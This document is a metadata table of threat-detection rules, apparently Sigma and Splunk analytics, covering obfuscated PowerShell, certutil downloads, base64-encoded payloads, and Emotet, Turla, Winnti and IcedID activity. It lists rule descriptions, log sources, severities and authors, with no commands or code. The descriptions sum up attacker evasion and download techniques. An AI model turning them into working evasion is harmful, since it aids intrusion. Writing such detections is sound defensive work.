Detects Obfuscated Powershell via Stdin in Scripts | Unsupported | unsupported | driver_load | windows | Sysmon | - | high | Nikita Nazarov, oscd.community | 2020-10-12 | 2023-04-23 | 82b66143-53ee-4369-ab02-de2c70cd6352 | ||||
Detects Obfuscated Powershell via Stdin in Scripts | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Nikita Nazarov, oscd.community | 2020-10-12 | 2026-03-16 | 9c14c9fa-1a63-4a64-8e57-d19280559490 | ||||
Detects Obfuscated Powershell via Stdin in Scripts | Generic | test | ps_script | windows | PowerShell | - | high | Nikita Nazarov, oscd.community | 2020-10-12 | 2024-04-05 | 86b896ba-ffa1-4fea-83e3-ee28a4c915c7 | ||||
Detects Obfuscated Powershell via Stdin in Scripts | Generic | test | ps_module | windows | PowerShell | - | high | Nikita Nazarov, oscd.community | 2020-10-12 | 2024-04-05 | c72aca44-8d52-45ad-8f81-f96c4d3c755e | ||||
Detects Obfuscated Powershell via Stdin in Scripts | Generic | test | service | windows | WinEventLog Security | - | high | Nikita Nazarov, oscd.community | 2020-10-12 | 2022-11-29 | 80b708f3-d034-40e4-a6c8-d23b7a7db3d1 | ||||
Detects Obfuscated Powershell via Stdin in Scripts | Generic | test | service | windows | WinEventLog System | - | high | Nikita Nazarov, oscd.community | 2020-10-12 | 2022-11-29 | 487c7524-f892-4054-b263-8a0ace63fc25 | ||||
Detects Obfuscated Powershell via use Clip.exe in Scripts | Unsupported | unsupported | driver_load | windows | Sysmon | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2022-04-26 | 1fc02cb5-8acf-4d2c-bf9c-a28b6e0ad851 | ||||
Detects Obfuscated Powershell via use Clip.exe in Scripts | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2026-03-16 | e1561947-b4e3-4a74-9bdd-83baed21bdb5 | ||||
Detects Obfuscated Powershell via use Clip.exe in Scripts | Generic | test | ps_script | windows | PowerShell | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2024-04-15 | db92dd33-a3ad-49cf-8c2c-608c3e30ace0 | ||||
Detects Obfuscated Powershell via use Clip.exe in Scripts | Generic | test | ps_module | windows | PowerShell | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2024-04-05 | ebdf49d8-b89c-46c9-8fdf-2c308406f6bd | ||||
Detects Obfuscated Powershell via use Clip.exe in Scripts | Generic | test | service | windows | WinEventLog Security | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2022-11-29 | 1a0a2ff1-611b-4dac-8216-8a7b47c618a6 | ||||
Detects Obfuscated Powershell via use Clip.exe in Scripts | Generic | test | service | windows | WinEventLog System | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2022-11-29 | 63e3365d-4824-42d8-8b82-e56810fefa0c | ||||
Detects Obfuscated Powershell via use MSHTA in Scripts | Unsupported | unsupported | driver_load | windows | Sysmon | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2022-03-08 | a4e82ad2-7430-4ee8-b858-6ad6099773fa | ||||
Detects Obfuscated Powershell via use MSHTA in Scripts | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Nikita Nazarov, oscd.community | 2020-10-08 | 2022-03-08 | ac20ae82-8758-4f38-958e-b44a3140ca88 | ||||
Detects Obfuscated Powershell via use MSHTA in Scripts | Generic | test | ps_script | windows | PowerShell | - | high | Nikita Nazarov, oscd.community | 2020-10-08 | 2022-11-29 | e55a5195-4724-480e-a77e-3ebe64bd3759 | ||||
Detects Obfuscated Powershell via use MSHTA in Scripts | Generic | test | ps_module | windows | PowerShell | - | high | Nikita Nazarov, oscd.community | 2020-10-08 | 2023-01-04 | 07ad2ea8-6a55-4ac6-bf3e-91b8e59676eb | ||||
Detects Obfuscated Powershell via use MSHTA in Scripts | Generic | test | service | windows | WinEventLog Security | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2022-11-29 | 9b8d9203-4e0f-4cd9-bb06-4cc4ea6d0e9a | ||||
Detects Obfuscated Powershell via use MSHTA in Scripts | Generic | test | service | windows | WinEventLog System | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2022-11-29 | 7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4 | ||||
Detects Obfuscated Powershell via use Rundll32 in Scripts | Unsupported | unsupported | driver_load | windows | Sysmon | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2022-03-08 | 4e1518d9-2136-4015-ab49-c31d7c8588e1 | ||||
Detects Obfuscated Powershell via use Rundll32 in Scripts | Generic | test | ps_script | windows | PowerShell | - | high | Nikita Nazarov, oscd.community | 2019-10-08 | 2022-11-29 | a5a30a6e-75ca-4233-8b8c-42e0f2037d3b | ||||
Detects Obfuscated Powershell via use Rundll32 in Scripts | Generic | test | ps_module | windows | PowerShell | - | high | Nikita Nazarov, oscd.community | 2019-10-08 | 2022-11-29 | 88a22f69-62f9-4b8a-aa00-6b0212f2f05a | ||||
Detects Obfuscated Powershell via use Rundll32 in Scripts | Generic | test | service | windows | WinEventLog Security | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2022-11-29 | cd0f7229-d16f-42de-8fe3-fba365fbcb3a | ||||
Detects Obfuscated Powershell via use Rundll32 in Scripts | Generic | test | service | windows | WinEventLog System | - | high | Nikita Nazarov, oscd.community | 2020-10-09 | 2022-11-29 | 641a4bfb-c017-44f7-800c-2aee0184ce9b | ||||
Splunk | The following analytic detects the behavior of decoding base64-encoded data and passing it to a Linux shell. (...) | Generic | stable | process_creation | linux | Sysmon · Cisco | - | medium | Michael Haag, Splunk | 2022-06-17 | 2026-10-02 | 637b603e-1799-40fd-bf87-47ecbd551b66 | |||
Splunk | The following analytic detects the use of the base64 decode command on Linux systems, which is often used to deobfuscate files. (...) | Anomaly | stable | process_creation | linux | Sysmon | - | medium | Michael Haag, Splunk | 2022-06-17 | 2026-10-02 | 303b38b2-c03f-44e2-8f41-4594606fcfc7 | |||
Splunk | The following analytic detects the use of the EncodedCommand parameter in PowerShell processes. (...) | Hunting | stable | process_creation | windows | Sysmon · WinEventLog Security · CrowdStrike | - | medium | David Dorsey, Michael Haag, Splunk, SirDuckly, GitHub Community | 2020-04-29 | 2026-10-09 | c4db14d9-7909-48b4-a054-aa14d89dbb19 | |||
Detects activity mentioned in Operation Wocao report | Emerging | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Florian Roth (Nextron Systems), frack113 | 2019-12-20 | 2022-10-09 | 1cfac73c-be78-4f9a-9b08-5bde0c3953ab | ||||
Detects activity mentioned in Operation Wocao report | Emerging | test | account_management | windows | WinEventLog Security | - | high | Florian Roth (Nextron Systems), frack113 | 2019-12-20 | 2022-11-27 | 74ad4314-482e-4c3e-b237-3f7ed3b9ca8d | ||||
Detects the extraction of password protected ZIP archives. (...) | Generic | test | - | windows | WinEventLog Security | - | medium | Florian Roth (Nextron Systems) | 2022-05-09 | — | 00ba9da1-b510-4f6b-b258-8d338836180f | ||||
Detects the extraction of password protected ZIP archives. (...) | Generic | test | - | windows | WinEventLog Security | - | high | Florian Roth (Nextron Systems) | 2022-05-09 | — | 571498c8-908e-40b4-910b-d2369159a3da | ||||
Detects the extraction of password protected ZIP archives with suspicious file names. (...) | Generic | test | - | windows | WinEventLog Security | - | high | Florian Roth (Nextron Systems) | 2022-05-09 | — | 54f0434b-726f-48a1-b2aa-067df14516e4 | ||||
Detects a ping command that uses a hex encoded IP address | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Florian Roth (Nextron Systems) | 2018-03-23 | 2025-10-17 | 1a0d4aba-7668-4365-9ce4-6d79ab088dfd | ||||
Detects potential CommandLine obfuscation using unicode characters. (...) | Hunting | test | process_creation | windows | Sysmon · WinEventLog Security | - | medium | frack113, Florian Roth (Nextron Systems) | 2022-01-15 | 2024-09-05 | e0552b19-5a83-4222-b141-b36184bb8d79 | ||||
Detects potential commandline obfuscation using unicode characters. (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | frack113, Florian Roth (Nextron Systems), Josh Nickels | 2024-09-02 | 2025-05-30 | 584bca0f-3608-4402-80fd-4075ff6072e3 | ||||
Detects all Emotet like process executions that are not covered by the more generic rules | Emerging | stable | process_creation | windows | Sysmon · WinEventLog Security | - | high | Florian Roth (Nextron Systems) | 2019-09-30 | 2023-02-04 | d02e8cf5-6099-48cf-9bfc-1eec2d0c7b18 | ||||
Detects specific combinations of encoding methods in PowerShell via the commandline | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | low | Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton | 2020-10-11 | 2023-01-26 | cdf05894-89e7-4ead-b2b0-0a5f97a90f2f | ||||
Detects the PowerShell command lines with special characters | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp) | 2020-10-15 | 2024-04-15 | d7bcd677-645d-4691-a8d4-7a5602b780d1 | ||||
Detects Set-Alias or New-Alias cmdlet usage. (...) | Generic | test | ps_script | windows | PowerShell | - | low | frack113 | 2023-01-08 | 2026-09-17 | 96cd126d-f970-49c4-848a-da3a09f55c55 | ||||
Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation | Generic | test | ps_script | windows | PowerShell | - | low | Nasreddine Bencherchali (Nextron Systems) | 2023-01-09 | — | e8314f79-564d-4f79-bc13-fbc0bf2660d8 | ||||
Detects the presence of reversed PowerShell commands in the CommandLine. (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton | 2020-10-11 | 2023-05-31 | b6b49cd1-34d6-4ead-b1bf-176e9edba9a4 | ||||
Detects suspicious encoded character syntax often used for defense evasion | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Florian Roth (Nextron Systems) | 2020-07-09 | 2025-03-03 | e312efd0-35a1-407f-8439-b8d434b438a6 | ||||
Detects potential suspicious execution of a GUID like folder name located in a suspicious location such as %TEMP% as seen being used in IcedID attacks. (...) | Hunting | test | process_creation | windows | Sysmon · WinEventLog Security | - | low | Nasreddine Bencherchali (Nextron Systems) | 2022-09-01 | 2023-03-02 | 90b63c33-2b97-4631-a011-ceb0f47b77c3 | ||||
Detects files dropped by Winnti as described in RedMimicry Winnti playbook | Generic | test | file_event | windows | Sysmon | - | high | Alexander Rausch | 2020-06-24 | 2023-01-05 | 130c9e58-28ac-4f83-8574-0a4cc913b97e | ||||
Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell. (...) | Hunting | experimental | file_event | linux | Sysmon | - | low | @kostastsale | 2025-11-22 | — | 11629c4d-0fe6-465b-be62-b39a1c442aad | ||||
Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t | 2022-05-20 | 2023-04-06 | 6385697e-9f1b-40bd-8817-f4a91f40508e | ||||
Detects base64 encoded .NET reflective loading of Assembly | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Christian Burkard (Nextron Systems), pH-T (Nextron Systems) | 2022-03-01 | 2023-01-30 | 62b7ccc9-23b4-471e-aa15-6da3663c4d59 | ||||
Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc. | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) | 2023-01-30 | — | 1816994b-42e1-4fb1-afd2-134d88184f71 | ||||
Detects obfuscated PowerShell scripts that enumerate Microsoft.PowerShell.Utility exported commands (...) | Generic | experimental | ps_script | windows | PowerShell | - | medium | Norbert Jaśniewicz (AlphaSOC) | 2026-10-06 | — | 4ff4ad3e-9fb5-4a70-9962-d6ea58090318 | ||||
Splunk | The following analytic detects the execution of PowerShell scripts containing Base64 encoded content, specifically identifying the use of `FromBase64String`. (...) | Generic | stable | ps_script | windows | PowerShell | - | medium | Michael Haag, Splunk | 2021-06-09 | 2026-06-25 | 8acbc04c-c882-11eb-b060-acde48001122 | |||
Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion. | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | medium | Micah Babinski | 2022-12-11 | 2023-03-05 | 0c92f2e6-f08f-4b73-9216-ecb0ca634689 | ||||
Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Florian Roth (Nextron Systems) | 2023-06-04 | 2024-11-23 | f4264e47-f522-4c38-a420-04525d5b880f | ||||
Detects the execution of certutil with certain flags that allow the utility to download files. | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | medium | Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems) | 2023-02-15 | 2025-12-01 | 19b08b1c-861d-4e75-a1ef-ea0c1baf202b | ||||
Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly" | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | pH-T (Nextron Systems) | 2022-03-01 | 2023-04-06 | 9c0295ce-d60d-40bd-bd74-84673b7592b1 | ||||
Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs. | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Nasreddine Bencherchali (Nextron Systems) | 2023-02-15 | 2025-12-01 | 13e6fe51-d478-4c7e-b0f2-6da9b400a829 | ||||
Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites. | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Nasreddine Bencherchali (Nextron Systems) | 2023-02-15 | 2026-03-29 | 42a5f1e7-9603-4f6d-97ae-3f37d130d794 | ||||
Detects the execution of certutil with the "encode" flag to encode a file to base64 where the extens (...) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Nasreddine Bencherchali (Nextron Systems) | 2023-05-15 | 2024-03-05 | ea0cdc3e-2239-4f26-a947-4e8f8224e464 | ||||
Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts. (...) | Generic | experimental | file_event | linux | Sysmon | - | high | @kostastsale | 2025-11-22 | — | 179b3686-6271-4d87-807d-17d843a8af73 | ||||
Get-Variable is a valid PowerShell cmdlet
WindowsApps is by default in the path where PowerShell is (...) | Generic | test | file_event | windows | Sysmon | - | high | frack113 | 2022-04-23 | — | 0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b | ||||
Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter) | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Florian Roth (Nextron Systems), David ANDRE (additional keywords) | 2021-12-20 | 2025-10-19 | 2617e7ed-adb7-40ba-b0f3-8f9945fe6c09 | ||||
Detects presence of a potentially xor encoded powershell command | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | medium | Sami Ruohonen, Harish Segar, Tim Shelton, Teymur Kheirkhabarov, Vasiliy Burov, oscd.community, Nasreddine Bencherchali | 2018-09-05 | 2023-01-30 | bb780e0c-16cf-4383-8383-1e5471db6cf9 | ||||
Detects commands used by Turla group as reported by ESET in May 2020 | Emerging | test | process_creation | windows | Sysmon · WinEventLog Security | - | critical | Florian Roth (Nextron Systems) | 2020-05-26 | 2025-10-19 | 9e2e51c5-c699-4794-ba5a-29f5da40ac0c | ||||
Splunk | The following analytic detects the wermgr.exe process creating an executable file. (...) | Generic | stable | file_event | windows | Sysmon | - | medium | Teoderick Contreras, Splunk | 2021-04-26 | 2026-05-13 | ab3bcce0-a105-11eb-973c-acde48001122 | |||
Splunk | The following analytic identifies the creation of a .crmlog file within the %windows%\Registration directory, typically with a format of <RANDOM_GUID>.<RANDOM_GUID>.crmlog. (...) | Generic | stable | file_event | windows | Sysmon | - | medium | Michael Haag, Splunk | 2023-05-11 | 2026-10-02 | 27187e0e-c221-471d-a7bd-04f698985ff6 | |||
Splunk | Detects abuse of Tiny-C-Compiler (TinyCC) for shellcode execution, where tcc.exe is renamed to masquerade as svchost.exe and used to compile and execute C source files containing shellcode. (...) | Generic | stable | process_creation | windows | Sysmon · WinEventLog Security | - | medium | Michael Haag, Splunk | 2026-03-16 | 2026-09-01 | fdb6774e-e465-4912-86e3-63cf9ab91491 |